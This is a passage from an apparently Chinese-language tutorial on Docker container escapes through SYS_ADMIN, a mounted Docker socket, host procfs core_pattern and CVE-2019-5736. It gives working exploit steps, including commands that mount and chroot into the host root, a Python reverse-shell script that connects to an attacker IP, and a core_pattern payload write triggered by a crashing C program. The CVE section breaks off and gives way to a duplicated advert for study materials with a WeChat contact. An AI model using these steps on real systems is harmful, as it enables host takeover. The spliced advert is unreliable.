宿主机的磁盘设备信息
可以看到,我们成功挂载了宿主机磁盘设备到/host目录下,并使用chroot指令将容器根目录切换为挂载的宿主机根目录。
2.2 --cap-add=SYS_ADMIN:管理员权限运行容器,攻击者可“基本”从容器内逃逸
除了使用特权模式启动docker会引起docker容器逃逸,使用功能机制也会造成这种情况。
当容器以–cap-add=SYS_ADMIN启动时,容器进程就会被允许执行mount、umount等一系列系统管理命令,如果攻击者此时将外部设备目录挂载在容器中就会发生容器逃逸。
漏洞利用:
–security-opt apparmor=unconfined:由于默认情况下会开启AppArmor配置,从而保证docker以严格模式运行使用权限限制较高。这里改为unconfined表示去除默认的AppArmor配置,即不开启严格模式运行容器。
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04 /bin/bash
0x03 不安全挂载导致的容器逃逸
为了方便宿主机与虚拟机进行数据交换,几乎所有主流虚拟机解决方案都会提高挂载宿主机目录到虚拟机的功能。容器同样如此,但是将宿主机上的敏感文件或目录挂载到容器内部往往会带来安全问题。
3.1 挂载Docker Socket的情况:攻击者可“基本”从容器内逃逸
Docker Socket是Docker守护进程监听的UNIX域套接字,用来与守护进程通信(查询或下发命令)。如果在攻击者可控的容器内挂载了此套接字文件(/var/run/docker.sock),容器逃逸就会变得很容易。
漏洞利用:
- 创建一个容器并挂载/var/run/docker.sock
- 在容器内安装docker命令行客户端
- 使用此客户端通过docker socket与docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机根目录挂载到新创建的容器内部
- 在新容器内执行chroot,将根目录切换到挂载的宿主机根目录
docker run -itd --name docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04
进入容器
ls -al /var/run/docker.sock
安装docker-ce-cli
apt-get update
apt-get install ca-certificates curl gnupg lsb-release
curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | apt-key add -
apt-get install software-properties-common
apt-get update
add-apt-repository “deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable”
apt-get install docker-ce docker-ce-cli containerd.io
利用此客户端通过docker socket与docker守护进程通信,发送命令创建并运行一个新的容器
docker ps # 可发现此时的返回结果是宿主机上的容器进程
docker run -it -v /:/host ubuntu:18.04 /bin/bash # 创建容器并将宿主机根目录挂载到新创建的容器中
chroot /host # 使用chroot将根目录切换到挂载的宿主机根目录
3.2 挂载宿主机procfs的情况
procfs 是进程文件系统的缩写(proc filesystem),是一个伪文件系统(启动时动态生成的文件系统),它动态反映系统内进程以及其他组件的状态,其中有许多非常敏感、重要的文件。因此将宿主机的procfs挂载到不受控的容器中非常危险,尤其是在该容器内默认启用root权限,且没有为这个容器开启user namespace时。docker默认情况下不会为容器开启user namespace。
procfs中的**/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式,如果/proc/sys/kernel/core_pattern**文件中的首个字符是管道符| ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。因此这种逃逸方式可以通过进程崩溃来触发。
攻击者进入一个挂载了宿主机procfs的容器中,具有root权限,然后向宿主机procfs写入payload,接着制造崩溃,触发内存转储。
漏洞利用:
- 启动容器,将/proc/sys/kernel/core_pattern挂载到容器的/host/proc/sys/kernel/core_pattern位置。
- 通过在容器内执行cat /proc/mounts | grep docker指令,找到当前容器在宿主机下的绝对路径
- 在容器内创建反弹shell的/tmp/x.py脚本
- 执行echo -e "|$CONTAINER_ABS_PATH/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern指令,使得Linux转储机制在程序发生崩溃时能够顺利找到容器内部的“/tmp/.x.py”。因为攻击者在容器中,“/tmp”是容器中的路径,直接使用echo -e "|/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern无法实现容器逃逸,因为内核在寻找处理内存转储的程序时不会从容器文件系统的根目录开始。
- 攻击端机器开启反弹shell监听
- 在容器内运行一个可以制造崩溃的程序。
创建并启动一个容器,将/proc/sys/kernel/core_pattern挂载到容器的/host/proc/sys/kernel/core_pattern位置
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:18.04
查找名为core_pattern的文件,如果找到两个,说明可能是挂载了宿主机的procfs
find / -name core_pattern
cat /proc/mounts | grep docker # 返回结果中:workdir=/var/lib/docker/overlay2/5d748dc3bca9db37b2f0d72b2364b4abe4c8b39e878bf1157b407414efae40fe/work
安装vim+gcc
apt-get update -y && apt-get install vim gcc -y
启动一个容器时,会在/var/lib/docker/overlay2目录下生成一层容器层,容器层里面包括diff、link、lower、merged、work目录,而docker容器的目录保存在merged目录中,通过此命令找到当前容器在宿主机下的绝对路径,workdir代表的是docker容器在宿主机中的绝对路径。
创建反弹shell脚本 vim /tmp/.x.py
#!/usr/bin/python3
import os
import pty
import socket
lhost = “IP_ADDRESS”
lport = PORT
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv(“HISTFILE”, ‘/dev/null’)
pty.spawn(“/bin/bash”)
os.remove(‘/tmp/.t.py’)
s.close()
if name == “main”:
main()
chmod 777 /tmp/.x.py
echo -e "|/var/lib/docker/overlay2/5d748dc3bca9db37b2f0d72b2364b4abe4c8b39e878bf1157b407414efae40fe/merged/tmp/.t.py \rcore " > /host/proc/sys/kernel/core_pattern
攻击端机器开启监听。
在容器内创建一段可以崩溃的程序 vim x.c
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
编译执行
gcc x.c -o x
./x
0x04 相关程序漏洞导致的容器逃逸
相关程序漏洞指的是参与到容器生态中的服务端、客户端程序自身存在的漏洞。下图展示了操作系统之上的容器及容器集群环境的程序组件。
4.1 CVE-2019-5736:覆盖宿主机上的runC文件
在容器世界中,真正负责创建、修改和销毁容器的组件实际上是容器运行时。
当我们执行如docker exec等命令时,底层实际上是容器运行时在操作。例如runC,相应地,runc exec命令会被执行。最终效果是在容器内部执行用户指定的程序。进一步讲,就是在容器的各种命名空间内,受到各种限制(如cgroups)的情况下,启动一个进程。除此以外,这个操作与宿主机上执行一个程序并无二致。
执行过程大体是这样的:runc启动,加入到容器的命名空间,接着以自身(/proc/self/exe)为范本启动一个子进程,最后通过exec系统调用执行用户指定的二进制程序。
- /proc/[PID]/exe:它是一种特殊的符号链接,又被称为magic links,
指向进程自身对应的本地程序文件 (例如我们执行 ls,/proc/[PID]/exe 就指向 /bin/ls)。它的特殊之处在于,当打开这个文件时,在权限检查通过的情况下,内核将直接返回一个指向该文件的描述符(file descriptor),而非传统的打开方式做路径解析和文件查找。这样一来,它实际上绕过了 mnt 命名空间及 chroot 对一个进程能够访问到的文件路径的限制。
- /proc/[PID]/fd/:这个目录下包含了进程打开的所有文件描述符。
那么,在runc exec加入到容器的命名空间之后,容器内进程已经能够通过内部/proc观察到它,此时如果打开/proc/[runc-PID]/exe并写入一些内容,就能够实现将宿主机上的runc二进制程序覆盖掉。这样一来,下一次用户调用runc去执行命令时,实际执行的将是攻击者放置的指令。
漏洞原理及利用思路如下:
runC在对容器的整个生存周期进行管理时,它不可避免地会加入到容器中进行一些行为,比如执行runc run创建容器,以及执行runc exec指令帮助用户对容器进行操作时,它都需要先加入到容器内部执行一些操作。当它加入到容器后,容器内的攻击者可以看到/proc目录下的runc进程,进而使用此进程的magic links这种特殊的符号链接找到宿主机上的runc程序,从而对该程序进行写入,实现写runc操作。
从上面这种图中我们注意到还存在runc init这个进程。事实上,这个进程是runC在容器内部的初始化进程。在初始化工作完成后,它将负责执行用户在docker exec命令中指定的具体命令。为什么不直接修改runc init进程的/proc/[runc-PID]/exe,而是等待其执行execve系统调用后才去修改呢?一方面是由于从runC在容器内初始化到执行execve的时间非常短,很难把握时机;另一方面是因为CVE-2016-9962补丁限制这种操作。
漏洞利用:
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!*
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-XknCvZtc-1712656813254)]